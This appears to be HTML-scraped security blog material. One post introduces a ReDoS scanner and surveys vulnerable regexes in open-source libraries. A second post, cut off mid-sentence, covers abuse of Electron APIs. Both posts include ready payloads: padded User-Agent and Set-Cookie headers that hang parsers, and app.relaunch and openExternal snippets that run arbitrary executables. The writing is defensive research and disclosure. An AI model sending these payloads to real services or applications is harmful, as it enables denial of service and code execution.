src=quot;https://asciinema.org/a/MYiODjDca96hDUwGfaQSgJuux.jsquot; async data-cols=quot;20quot; data-preload=quot;0quot;gt;lt;/scriptgt;lt;/bodygt; sandbox=allow-scripts allow-same-origin/iframe pThis visualisation of the matching steps was produced by emitting verbose debugging from cpython’s regex engine using my a href=https://github.com/bcaller/cpythoncpython fork/a./p h2 id=regexploitRegexploit/h2 pToday, we are releasing a tool called strongRegexploit/strong to extract regexes from code, scan them and find ReDoS./p pSeveral tools already exist to find regexes with exponential worst case complexity (regexes of the form code class=language-plaintext highlighter-rouge(a+)+b/code), but cubic complexity regexes (code class=language-plaintext highlighter-rougea+a+a+b/code) can still be damaging. a href=https://github.com/doyensec/regexploitRegexploit/a walks through the regex and tries to find ambiguities where a single character could be captured by multiple repeating parts. Then it looks for a way to make the regular expression strongnot/strong match, so that the regex engine has to backtrack./p pThe code class=language-plaintext highlighter-rougeregexploit/code script allows you to enter regexes via stdin. If the regex looks OK it will say “No ReDoS found”. With the regex above it shows the vulnerability:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeWorst-case complexity: 3 ⭐⭐⭐ (cubic) Repeated character: [[0-9]] Example: ';0 Build/HuaweiA' + '0' * 3456 /code/pre/div/div pThe final line of output gives a recipe for creating a User-Agent header which will cause ReDoS on sites using old versions of ua-parser, likely resulting in a Bad Gateway error./p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeUser-Agent: ;0 Build/HuaweiA0000000000000000000000000000... /code/pre/div/div pTo scan your source code, there is built-in support for extracting regexes from emPython/em, emJavaScript/em, emTypeScript/em, emC#/em, emJSON/em and emYAML/em. If you are able to extract regexes from other languages, they can be piped in and analysed./p pOnce a vulnerable regular expression is found, it does still require some manual investigation. If it’s not possible for untrusted input to reach the regular expression, then it likely does not represent a security issue. In some cases, a prefix or suffix might be required to get the payload to the right place./p h2 id=redos-surveyReDoS Survey/h2 pSo what kind of ReDoS issues are out there? We used a href=https://github.com/doyensec/regexploitRegexploit/a to analyse the top few thousand npm and pypi libraries (grabbed from the a href=https://libraries.iolibraries.io/a API) to find out./p div style=text-align: center; svg id=mermaid-1609345900396 width=100% xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink height=449 style=max-width: 292.59375px; viewBox=0 0 292.59375 449style#mermaid-1609345900396{font-size:14px;fill:#333;}#mermaid-1609345900396 .error-icon{fill:#552222;}#mermaid-1609345900396 .error-text{fill:#552222;stroke:#552222;}#mermaid-1609345900396 .edge-thickness-normal{stroke-width:2px;}#mermaid-1609345900396 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-1609345900396 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-1609345900396 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-1609345900396 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-1609345900396 .marker{fill:#333333;}#mermaid-1609345900396 .marker.cross{stroke:#333333;}#mermaid-1609345900396 svg{font-family:trebuchet ms,verdana,arial,sans-serif;font-size:16px;}#mermaid-1609345900396 .label{font-family:trebuchet ms,verdana,arial,sans-serif;color:#333;}#mermaid-1609345900396 .label text{fill:#333;}#mermaid-1609345900396 .node rect,#mermaid-1609345900396 .node circle,#mermaid-1609345900396 .node ellipse,#mermaid-1609345900396 .node polygon,#mermaid-1609345900396 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-1609345900396 .node .label{text-align:center;}#mermaid-1609345900396 .node.clickable{cursor:pointer;}#mermaid-1609345900396 .arrowheadPath{fill:#333333;}#mermaid-1609345900396 .edgePath .path{stroke:#333333;stroke-width:1.5px;}#mermaid-1609345900396 .flowchart-link{stroke:#333333;fill:none;}#mermaid-1609345900396 .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-1609345900396 .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-1609345900396 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-1609345900396 .cluster text{fill:#333;}#mermaid-1609345900396 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:trebuchet ms,verdana,arial,sans-serif;font-size:12px;background:hsl(80,100%,96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-1609345900396:root{--mermaid-font-family:trebuchet ms,verdana,arial,sans-serif;}#mermaid-1609345900396 flowchart{fill:apa;}/stylegg class=outputg class=clusters/gg class=edgePathsg class=edgePath LS-A LE-C id=L-A-C style=opacity: 1;path class=path d=M145.1796875,47L145.1796875,72L145.1796875,97 marker-end=url(#arrowhead9203) style=fill:none/pathdefsmarker id=arrowhead9203 viewBox=0 0 10 10 refX=9 refY=5 markerUnits=strokeWidth markerWidth=8 markerHeight=6 orient=autopath d=M 0 0 L 10 5 L 0 10 z class=arrowheadPath style=stroke-width: 1; stroke-dasharray: 1, 0;/path/marker/defs/gg class=edgePath LS-C LE-D id=L-C-D style=opacity: 1;path class=path d=M109.40115870786516,136L63.53125,161L63.53125,186 marker-end=url(#arrowhead9204) style=fill:none/pathdefsmarker id=arrowhead9204 viewBox=0 0 10 10 refX=9 refY=5 markerUnits=strokeWidth markerWidth=8 markerHeight=6 orient=autopath d=M 0 0 L 10 5 L 0 10 z class=arrowheadPath style=stroke-width: 1; stroke-dasharray: 1, 0;/path/marker/defs/gg class=edgePath LS-D LE-E id=L-D-E style=opacity: 1;path class=path d=M63.53125,225L63.53125,259.5L115.69552951388889,294 marker-end=url(#arrowhead9205) style=fill:none/pathdefsmarker id=arrowhead9205 viewBox=0 0 10 10 refX=9 refY=5 markerUnits=strokeWidth markerWidth=8 markerHeight=6 orient=autopath d=M 0 0 L 10 5 L 0 10 z class=arrowheadPath style=stroke-width: 1; stroke-dasharray: 1, 0;/path/marker/defs/gg class=edgePath LS-C LE-F id=L-C-F style=opacity: 1;path class=path d=M180.95821629213484,136L226.828125,161L226.828125,186 marker-end=url(#arrowhead9206) style=fill:none/pathdefsmarker id=arrowhead9206 viewBox=0 0 10 10 refX=9 refY=5 markerUnits=strokeWidth markerWidth=8 markerHeight=6 orient=autopath d=M 0 0 L 10 5 L 0 10 z class=arrowheadPath style=stroke-width: 1; stroke-dasharray: 1, 0;/path/marker/defs/gg class=edgePath LS-F LE-E id=L-F-E style=opacity: 1;path class=path d=M226.828125,225L226.828125,259.5L174.66384548611111,294 marker-end=url(#arrowhead9207) style=fill:none/pathdefsmarker id=arrowhead9207 viewBox=0 0 10 10 refX=9 refY=5 markerUnits=strokeWidth markerWidth=8 markerHeight=6 orient=autopath d=M 0 0 L 10 5 L 0 10 z class=arrowheadPath style=stroke-width: 1; stroke-dasharray: 1, 0;/path/marker/defs/gg class=edgePath LS-E LE-G id=L-E-G style=opacity: 1;path class=path d=M145.1796875,333L145.1796875,367.5L145.1796875,402 marker-end=url(#arrowhead9208) style=fill:none/pathdefsmarker id=arrowhead9208 viewBox=0 0 10 10 refX=9 refY=5 markerUnits=strokeWidth markerWidth=8 markerHeight=6 orient=autopath d=M 0 0 L 10 5 L 0 10 z class=arrowheadPath style=stroke-width: 1; stroke-dasharray: 1, 0;/path/marker/defs/g/gg class=edgeLabelsg class=edgeLabel transform= style=opacity: 1;g transform=translate(0,0) class=labelrect rx=0 ry=0 width=0 height=0/rectforeignObject width=0 height=0div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;span id=L-L-A-C class=edgeLabel L-LS-A' L-LE-C/span/div/foreignObject/g/gg class=edgeLabel transform= style=opacity: 1;g transform=translate(0,0) class=labelrect rx=0 ry=0 width=0 height=0/rectforeignObject width=0 height=0div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;span id=L-L-C-D class=edgeLabel L-LS-C' L-LE-D/span/div/foreignObject/g/gg class=edgeLabel transform=translate(63.53125,259.5) style=opacity: 1;g transform=translate(-27.4609375,-9.5) class=labelrect rx=0 ry=0 width=54.921875 height=19/rectforeignObject width=54.921875 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;span id=L-L-D-E class=edgeLabel L-LS-D' L-LE-Eregexes/span/div/foreignObject/g/gg class=edgeLabel transform= style=opacity: 1;g transform=translate(0,0) class=labelrect rx=0 ry=0 width=0 height=0/rectforeignObject width=0 height=0div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;span id=L-L-C-F class=edgeLabel L-LS-C' L-LE-F/span/div/foreignObject/g/gg class=edgeLabel transform=translate(226.828125,259.5) style=opacity: 1;g transform=translate(-27.4609375,-9.5) class=labelrect rx=0 ry=0 width=54.921875 height=19/rectforeignObject width=54.921875 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;span id=L-L-F-E class=edgeLabel L-LS-F' L-LE-Eregexes/span/div/foreignObject/g/gg class=edgeLabel transform=translate(145.1796875,367.5) style=opacity: 1;g transform=translate(-21.9921875,-9.5) class=labelrect rx=0 ry=0 width=43.984375 height=19/rectforeignObject width=43.984375 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;span id=L-L-E-G class=edgeLabel L-LS-E' L-LE-GReDoS/span/div/foreignObject/g/g/gg class=nodesg class=node default id=flowchart-A-10672 transform=translate(145.1796875,27.5) style=opacity: 1;rect rx=0 ry=0 x=-50.609375 y=-19.5 width=101.21875 height=39 class=label-container/rectg class=label transform=translate(0,0)g transform=translate(-40.609375,-9.5)foreignObject width=81.21875 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;Libraries.io/div/foreignObject/g/g/gg class=node default id=flowchart-C-10673 transform=translate(145.1796875,116.5) style=opacity: 1;rect rx=0 ry=0 x=-93.8984375 y=-19.5 width=187.796875 height=39 class=label-container/rectg class=label transform=translate(0,0)g transform=translate(-83.8984375,-9.5)foreignObject width=167.796875 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;pypi / npm downloader/div/foreignObject/g/g/gg class=node default id=flowchart-D-10675 transform=translate(63.53125,205.5) style=opacity: 1;rect rx=0 ry=0 x=-55.53125 y=-19.5 width=111.0625 height=39 class=label-container/rectg class=label transform=translate(0,0)g transform=translate(-45.53125,-9.5)foreignObject width=91.0625 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;regexploit-js/div/foreignObject/g/g/gg class=node default id=flowchart-E-10677 transform=translate(145.1796875,313.5) style=opacity: 1;rect rx=0 ry=0 x=-46.421875 y=-19.5 width=92.84375 height=39 class=label-container/rectg class=label transform=translate(0,0)g transform=translate(-36.421875,-9.5)foreignObject width=72.84375 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;Regexploit/div/foreignObject/g/g/gg class=node default id=flowchart-F-10679 transform=translate(226.828125,205.5) style=opacity: 1;rect rx=0 ry=0 x=-57.765625 y=-19.5 width=115.53125 height=39 class=label-container/rectg class=label transform=translate(0,0)g transform=translate(-47.765625,-9.5)foreignObject width=95.53125 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;regexploit-py/div/foreignObject/g/g/gg class=node default id=flowchart-G-10683 transform=translate(145.1796875,421.5) style=opacity: 1;rect rx=0 ry=0 x=-32.6171875 y=-19.5 width=65.234375 height=39 class=label-container/rectg class=label transform=translate(0,0)g transform=translate(-22.6171875,-9.5)foreignObject width=45.234375 height=19div xmlns=http://www.w3.org/1999/xhtml style=display: inline-block; white-space: nowrap;Triage/div/foreignObject/g/g/g/g/g/g/svg /div !-- graph TB A[Libraries.io] --\ C[pypi / npm downloader] C --\ D[regexploit-js] D --\ |regexes|E[Regexploit] C --\ F[regexploit-py] F --\ |regexes|E E --\ |ReDoS|G[Triage] -- pWe tried to exclude build tools and test frameworks, as bugs in these are unlikely to have any security impact. When a vulnerable regex was found, we then needed to figure out how untrusted input could reach it./p h3 id=resultsResults/h3 pThe most problematic area was the use of regexes to parse programming or markup languages. Using regular expressions to parse some languages e.g. a href=https://github.com/trentm/python-markdown2/pull/387Markdown/a, a href=https://bugs.chromium.org/p/chromium/issues/detail?id=1162357CSS/a, a href=https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14Matlab/a or a href=https://github.com/advisories/GHSA-hq37-853p-g5cfSVG/a is fraught with danger. Such languages have grammars which are designed to be processed by specialised lexers and parsers. Trying to perform the task with regexes leads to overly complicated patterns which are difficult for mere mortals to read./p pstrongA recurring source of vulnerabilities was the handling of optional whitespace./strong As an example, let’s take the Python module a href=https://github.com/advisories/GHSA-hq37-853p-g5cfCairoSVG/a which used the following regex:/p pcode class=regex data-regex=rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\) span style=background-color:#A0A;rgba\(/spanspan style=background-color:#A50[ \n\r\t]*/spanspan style=background-color:#A00(.+?)/spanspan style=background-color:#0A0[ \n\r\t]*/spanspan style=background-color:#000\)/span /code/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ regexploit-py .env/lib/python3.9/site-packages/cairosvg/ Vulnerable regex in .env/lib/python3.9/site-packages/cairosvg/colors.py #190 Pattern: rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\) Context: RGBA = re.compile(r'rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\)') --- Starriness: 3 ⭐⭐⭐ (cubic) Repeated character: [20,09,0a,0d] Example: 'rgba(' + ' ' * 3456 /code/pre/div/div pThe developer wants to find strings like code class=language-plaintext highlighter-rougergba(   100,200, 10, 0.5   )/code and extract the middle part without surrounding spaces. Unfortunately, the code class=language-plaintext highlighter-rouge.+/code in the middle emalso/em accepts spaces. If the string does not end with a closing parenthesis, the regex will not match, and we can get emO(nsup3/sup)/em backtracking./p pLet’s take a look at the matching process with the input code class=language-plaintext highlighter-rougergba( + * 19/code:/p iframe style=overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 700px; srcdoc=lt;body style=quot;margin:-20px 0;overflow:hidden;quot;gt;lt;script id=quot;asciicast-J6jCMFt9JwNnj7wF0uz3e7Rtmquot; src=quot;https://asciinema.org/a/J6jCMFt9JwNnj7wF0uz3e7Rtm.jsquot; async data-cols=quot;25quot; data-preload=quot;0quot; data-speed=quot;0.5quot;gt;lt;/scriptgt;lt;/bodygt; sandbox=allow-scripts allow-same-origin/iframe pWhat a load of wasted CPU cycles!/p pA fun ReDoS bug was discovered in a href=https://github.com/python/cpython/pull/17157cpython’s http.cookiejar/a with this gorgeous regex:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodePattern: ^ (\d\d?) # day (?:\s+|[-\/]) (\w+) # month (?:\s+|[-\/]) (\d+) # year (?: (?:\s+|:) # separator before clock (\d\d?):(\d\d) # hour:min (?::(\d\d))? # optional seconds )? # optional clock \s* ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone \s* (?:\(\w+\))? # ASCII representation of timezone in parens. \s*$ Context: LOOSE_HTTP_DATE_RE = re.compile( --- Starriness: 3 ⭐⭐⭐ Repeated character: [SPACE] Final character to cause backtracking: [^SPACE] Example: '0 a 0' + ' ' * 3456 + '0' /code/pre/div/div pIt was used when processing cookie expiry dates like code class=language-plaintext highlighter-rougeFri, 08 Jan 2021 23:20:00 GMT/code, but with compatibility for some deprecated date formats. The last 5 lines of the regex pattern contain three code class=language-plaintext highlighter-rouge\s*/code groups separated by emoptional/em groups, so we have a cubic ReDoS./p pA victim simply making an HTTP request like code class=language-plaintext highlighter-rougerequests.get('http://evil.server')/code could be attacked by a remote server responding with code class=language-plaintext highlighter-rougeSet-Cookie/code headers of the form:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeSet-Cookie: b;Expires=1-c-1 X /code/pre/div/div pWith the maximum 65506 spaces that can be crammed into an HTTP header line in Python, the client will take over a week to finish processing the header./p iframe style=overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 525px; srcdoc=lt;body style=quot;margin:-20px 0;overflow:hidden;quot;gt;lt;script id=quot;asciicast-QhPv8DTkWxJuZbIxZVYn6Q39qquot; src=quot;https://asciinema.org/a/QhPv8DTkWxJuZbIxZVYn6Q39q.jsquot; async data-speed=quot;0.5quot; data-preload=quot;0quot; data-cols=quot;23quot;gt;lt;/scriptgt;lt;/bodygt; sandbox=allow-scripts allow-same-origin/iframe pAgain, the issue was designing the regex to handle whitespace between optional sections./p pAnother point to notice is that, based on the git history, the troublesome regexes we discovered had mostly remained untouched since they first entered the codebase. While it shows that the regexes seem to cause no issues in normal conditions, it perhaps indicates that regexes are too illegible to maintain. If the regex above had no comments to explain what it was supposed to match, who would dare try to alter it? Probably only the guy from xkcd./p pa href=https://xkcd.com/208/img src=https://imgs.xkcd.com/comics/regular_expressions.png alt=xkcd 208: Regular Expressions //a emSorry, I wanted to shoehorn this comic in somewhere/em/p h2 id=mitigations---safety-firstMitigations - Safety first/h2 h3 id=use-a-dfaUse a DFA/h3 pSo why didn’t I bother looking for ReDoS in Golang? Go’s regex engine a href=https://opensource.googleblog.com/2010/03/re2-principled-approach-to-regular.htmlre2/a emdoes not backtrack/em./p pIts design (a href=https://swtch.com/~rsc/regexp/regexp1.htmlDeterministic Finite Automaton/a) was chosen to be safe even if the regular expression itself is untrusted. The guarantee is that regex matching will occur in linear time regardless of input. There was a trade-off though. Depending on your use-case, libraries like re2 may not be the fastest engines. There are also some regex features such as backreferences which had to be dropped. But in the pathological case, regexes won’t be what takes down your website. There are re2 libraries for many languages, so you can use it in preference to Python’s code class=language-plaintext highlighter-rougere/code module./p h3 id=dont-do-it-all-with-regexesDon’t do it all with regexes/h3 pFor the whitespace ambiguity issue, it’s often possible to first use a simple regex and then trim / strip the spaces from either side of the result./p pimg src=/public/images/drake-hotline-redos-meme.jpg alt=How to meme? //p h3 id=many-tiny-regexesMany tiny regexes/h3 pIn Ruby, the standard library contains a href=https://ruby-doc.org/stdlib-2.7.0/libdoc/strscan/rdoc/StringScanner.htmlStringScanner/a which helps with “lexical scanning operations”. While the code class=language-plaintext highlighter-rougehttp-cookie/code gem has a href=https://github.com/sparklemotion/http-cookie/blob/9eb68dcce55b2d80e5dab101bb56c4ac9164211c/lib/http/cookie/scanner.rbmany more lines of code/a than a mega-regex, it avoids REDoS when parsing code class=language-plaintext highlighter-rougeSet-Cookie/code headers. Once each part of the string has been matched, it refuses to backtrack. In some regular expression flavours, you can use “possessive quantifiers” to mark sections as non-backtrackable and achieve a similar effect./p h2 id=gotta-catch-em-all-Gotta catch ‘em all 🐛🐞🦠/h2 ul lia href=https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9pCVE-2020-5243: uap-core/a affecting uap-python, a href=https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcwuap-ruby/a, etc. (User-Agent header parsing)/li lia href=https://github.com/python/cpython/commit/0b297d4ff1c0e4480ad33acae793fbaf4bf015b4CVE-2020-8492: cpython’s urllib.request/a (WWW-Authenticate header parsing)/li lia href=https://github.com/advisories/GHSA-hq37-853p-g5cfCVE-2021-21236: CairoSVG/a (SVG parsing)/li lia href=https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444mCVE-2021-21240: httplib2/a (WWW-Authenticate header parsing)/li lia href=https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719cCVE-2021-25292: python-pillow/a (PDF parsing)/li lia href=https://github.com/trentm/python-markdown2/pull/387CVE-2021-26813: python-markdown2/a (Markdown parsing)/li lia href=https://doyensec.com/resources/Doyensec_Advisory_ssri_redos.pdfCVE-2021-27290: npm/ssri/a (SRI parsing)/li lia href=https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14CVE-2021-27291: pygments/a lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab amp; Varnish VCL (Syntax highlighting)/li lia href=https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566CVE-2021-27292: ua-parser-js/a (User-Agent header parsing)/li lia href=https://github.com/restsharp/RestSharp/issues/1556CVE-2021-27293: RestSharp/a (JSON deserialisation in a .NET C# package)/li lia href=https://github.com/python/cpython/pull/17157bpo-38804: cpython’s http.cookiejar/a (Set-Cookie header parsing)/li lia href=https://doyensec.com/resources/Doyensec_Advisory_simplecrawler_redos.pdfSimpleCrawler (archived)/a (HTML parsing)/li liCVE-2021-28092: to be released/li liPlus many more unpublished bugs in a handful of pypi, npm, ruby and nuget packages. We will update this list on a href=https://github.com/doyensec/regexploithttps://github.com/doyensec/regexploit/a/li /ul

Electron APIs Misuse: An Attacker’s First Choice

15 February 2021 at 23:00
pa href=https://www.electronjs.org/ElectronJs/a is getting more secure every day. a href=https://www.electronjs.org/docs/tutorial/context-isolationContext isolation/a and other security settings are planned to become enabled by default with the upcoming release of Electron 12 stable, seemingly ending the somewhat deserved reputation of a systemically insecure framework./p pSeeing such significant and tangible progress makes us proud. Over the past years we’ve committed to helping developers securing their applications by researching different attack surfaces:/p ul lia href=https://blog.doyensec.com/2017/08/03/electron-framework-security.htmlModern Alchemy: Turning XSS into RCE/a/li lia href=https://blog.doyensec.com/2018/05/24/electron-win-protocol-handler-bug-bypass.htmlElectron Windows Protocol Handler MITM/RCE (bypass for CVE-2018-1000006 fix)/a/li lia href=https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload.htmlSubverting Electron Apps via Insecure Preload/a/li lia href=https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.htmlSignature Validation Bypass Leading to RCE In Electron-Updater/a/li /ul pAs confirmed by the Electron development team in the a href=https://www.electronjs.org/blog/electron-11-0#whats-nextv11 stable release/a, they plan to release new major versions of Electron (including new versions of emChromium/em, emNode/em, and emV8/em), approximately quarterly. Such an ambitious versioning schedule will also increase the number and the frequency of newly introduced APIs, planned breaking changes, and consequent security nuances in upcoming versions. While new functionalities are certainly desirable, new framework’s APIs may also expose powerful interfaces to OS features, which may be more or less inadvertently enabled by developers falling for the syntactic sugar provided by Electron./p div style=text-align: center; img src=../../../public/images/electronhardened.png title=Electron Hardened alt=Electron Hardened align=center style=display: block; margin-left: auto; margin-right: auto; width: 370px; / /div pSuch interfaces may be exposed to the renderer’s, either through preloads or insecure configurations, and can be abused by an attacker beyond their original purpose. An infamous example of this is code class=language-plaintext highlighter-rougeopenExternal/code./p pa href=https://www.electronjs.org/docs/api/shell#shellShell/a’s code class=language-plaintext highlighter-rougeopenExternal()/code allows opening a given external protocol URI with the desktop’s native utilities. For instance, on macOS, this function is similar to the emopen/em terminal command utility and will open the specific application based on the URI and filetype association. When openExternal is used with untrusted content, it can be leveraged to execute arbitrary commands, as demonstrated by the following example:/p div class=language-javascript highlighter-rougediv class=highlightpre class=highlightcodespan class=kdconst/span span class=p{/spanspan class=nxshell/spanspan class=p}/span span class=o=/span span class=nxrequire/spanspan class=p(/spanspan class=dl'/spanspan class=s1electron/spanspan class=dl'/spanspan class=p)/span span class=nxshell/spanspan class=p./spanspan class=nxopenExternal/spanspan class=p(/spanspan class=dl'/spanspan class=s1file:///System/Applications/Calculator.app/spanspan class=dl'/spanspan class=p)/span /code/pre/div/div pSimilarly, code class=language-plaintext highlighter-rougeshell.openPath(path)/code can be used to open the given file in the desktop’s default manner./p pFrom an attacker’s perspective, Electron-specific APIs are very often the easiest path to gain remote code execution, read or write access to the host’s filesystem, or leak sensitive user’s data. Malicious JavaScript running in the renderer can often subvert the application using such primitives./p pWith this in mind, we gathered a emnon-comprehensive/em list of APIs we successfully abused during our past engagements. When exposed to the user in the renderer, these APIs can significantly affect the security posture of Electron-based applications and facilitate a href=https://www.electronjs.org/docs/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-contentnodeIntegration/a / a href=https://www.electronjs.org/docs/api/sandbox-optionsandbox/a bypasses./p hr / h2 id=remoteappRemote.app/h2 pThe a href=https://www.electronjs.org/docs/all#remoteremote/a module provides a way for the renderer processes to access APIs normally only available in the main process. In Electron, GUI-related modules (such as dialog, menu, etc.) are only available in the main process, not in the renderer process. In order to use them from the renderer process, the code class=language-plaintext highlighter-rougeremote/code module is necessary to send inter-process messages to the main process./p pWhile this seems pretty useful, this API has been a source of a href=https://medium.com/@nornagon/electrons-remote-module-considered-harmful-70d69500f31performance and security troubles for quite a while/a. As a result of that, the code class=language-plaintext highlighter-rougeremote/code module will be deprecated in Electron 12, and eventually removed in Electron 14./p pDespite the warnings and numerous articles on the topic, we have seen a few applications exposing code class=language-plaintext highlighter-rougeRemote.app/code to the renderer. The code class=language-plaintext highlighter-rougeapp/code object controls the full application’s event lifecycle and it is basically the heart of every Electron-based application./p pMany of the functions exposed by this object can be easily abused, including but not limited to:/p ul lia href=https://www.electronjs.org/docs/api/app#apprelaunchoptionscode class=language-plaintext highlighter-rougeapp.relaunch([options])/code/a Relaunches the app when current instance exits./li lia href=https://www.electronjs.org/docs/api/app#appsetapplogspathpathcode class=language-plaintext highlighter-rougeapp.setAppLogsPath([path])/code/a Sets or creates a directory your app’s logs which can then be manipulated with code class=language-plaintext highlighter-rougeapp.getPath()/code or code class=language-plaintext highlighter-rougeapp.setPath(pathName, newPath)/code./li lia href=https://www.electronjs.org/docs/api/app#appsetasdefaultprotocolclientprotocol-path-argscode class=language-plaintext highlighter-rougeapp.setAsDefaultProtocolClient(protocol[, path, args])/code/a Sets the current executable as the default handler for a specified protocol./li lia href=https://www.electronjs.org/docs/api/app#appsetusertaskstasks-windowscode class=language-plaintext highlighter-rougeapp.setUserTasks(tasks)/code/a Adds tasks to the Tasks category of the Jump List (Windows only)./li lia href=https://www.electronjs.org/docs/api/app#appimportcertificateoptions-callback-linuxcode class=language-plaintext highlighter-rougeapp.importCertificate(options, callback)/code/a Imports the certificate in pkcs12 format into the platform certificate store (Linux only)./li lia href=https://www.electronjs.org/docs/api/app#appmovetoapplicationsfolderoptions-macoscode class=language-plaintext highlighter-rougeapp.moveToApplicationsFolder([options])/code/a Move the application to the default Application folder (Mac only)./li lia href=https://www.electronjs.org/docs/api/app#appsetjumplistcategories-windowscode class=language-plaintext highlighter-rougeapp.setJumpList(categories)/code/a Sets or removes a custom Jump List for the application (Windows only)./li lia href=https://www.electronjs.org/docs/api/app#appsetloginitemsettingssettings-macos-windowscode class=language-plaintext highlighter-rougeapp.setLoginItemSettings(settings)/code/a Sets executables to launch at login with their options (Mac, Windows only)./li /ul pTaking the first function as a way of example, code class=language-plaintext highlighter-rougeapp.relaunch([options])/code can be used to relaunch the app when the current instance exits. Using this primitive, it is possible to specify a set of options, including a code class=language-plaintext highlighter-rougeexecPath/code property that will be executed for relaunch instead of the current app along with a custom code class=language-plaintext highlighter-rougeargs/code array that will be passed as command-line arguments. This functionality can be easily leveraged by an attacker to execute arbitrary commands./p div class=language-javascript highlighter-rougediv class=highlightpre class=highlightcodespan class=nxNative/spanspan class=p./spanspan class=nxapp/spanspan class=p./spanspan class=nxrelaunch/spanspan class=p({/spanspan class=naargs/spanspan class=p:/span span class=p[],/span span class=naexecPath/spanspan class=p:/span span class=dl/spanspan class=s2/System/Applications/Calculator.app/Contents/MacOS/Calculator/spanspan class=dl/spanspan class=p});/span span class=nxNative/spanspan class=p./spanspan class=nxapp/spanspan class=p./spanspan class=nxexit/spanspan class=p()/span /code/pre/div/div pNote that the relaunch method alone does not quit the app when executed, and it is also necessary to call code class=language-plaintext highlighter-rougeapp.quit()/code or code class=language-plaintext highlighter-rougeapp.exit()/code after calling the method to make the app restart./p h2 id=systempreferencessystemPreferences/h2 pAnother frequently exported module is a href=https://www.electronjs.org/docs/api/system-preferencessystemPreferences/a. This API is used to get the system preferences and emit system events, and can therefore be abused to leak multiple pieces of information on the user’s behavior and their operating system activity and usage patterns. The metadata subtracted through the module could be then abused to mount targeted attacks./p h4 id=subscribenotification-subscribeworkspacenotificationsubscribeNotification, subscribeWorkspaceNotification/h4 pThese a href=https://www.electronjs.org/docs/api/system-preferences#systempreferencessubscribenotificationevent-callback-macosmethods/a could be used to subscribe to native notifications of macOS. Under the hood, this API subscribes to code class=language-plaintext highlighter-rougeNSDistributedNotificationCenter/code. a href=https://mjtsai.com/blog/2019/10/04/nsdistributednotificationcenter-no-longer-supports-nil-names/Before macOS Catalina/a, it was possible to register a global listener and receive all distributed notifications by invoking the code class=language-plaintext highlighter-rougeCFNotificationCenterAddObserver/code function with code class=language-plaintext highlighter-rougenil/code for the code class=language-plaintext highlighter-rougename/code parameter (corresponding to the event parameter of code class=language-plaintext highlighter-rougesubscribeNotification/code). The callback specified would be invoked anytime a distributed notification is broadcasted by any app. Following the release of macOS Catalina or Big Sur, in the case of sandboxed applications it is still possible to globally sniff distributed notifications by a href=https://objective-see.com/blog/blog_0x39.htmlregistering/a to receive any notification by name. As a result, many sensitive events can be sniffed, including but not limited to:/p ul liScreen locks/unlocks/li liScreen saver start/stop/li liBluetooth activity/HID Devices/li liVolume (USB, etc) mount/unmount/li liNetwork activity/li liUser file downloads/li liNewly Installed Applications/li liOpened Source Code Files/li liApplications in Use/li liLoaded Kernel Extensions/li li…and more from the installed application including sensitive information in them. Distributed notifications will always be public by design, and it was never correct to put sensitive information in them./li /ul pThe latest code class=language-plaintext highlighter-rougeNSDistributedNotificationCenter/code API also seems to be having a href=https://twitter.com/mjtsai/status/1336354549355999239intermittent problems/a with Big Sur and sandboxed application, so we expected to see more breaking changes in the future./p h4 id=getuserdefault-setuserdefaultgetUserDefault, setUserDefault/h4 pThe code class=language-plaintext highlighter-rougegetUserDefault/code function returns the value of key in code class=language-plaintext highlighter-rougeNSUserDefaults/code, a macOS simple storage 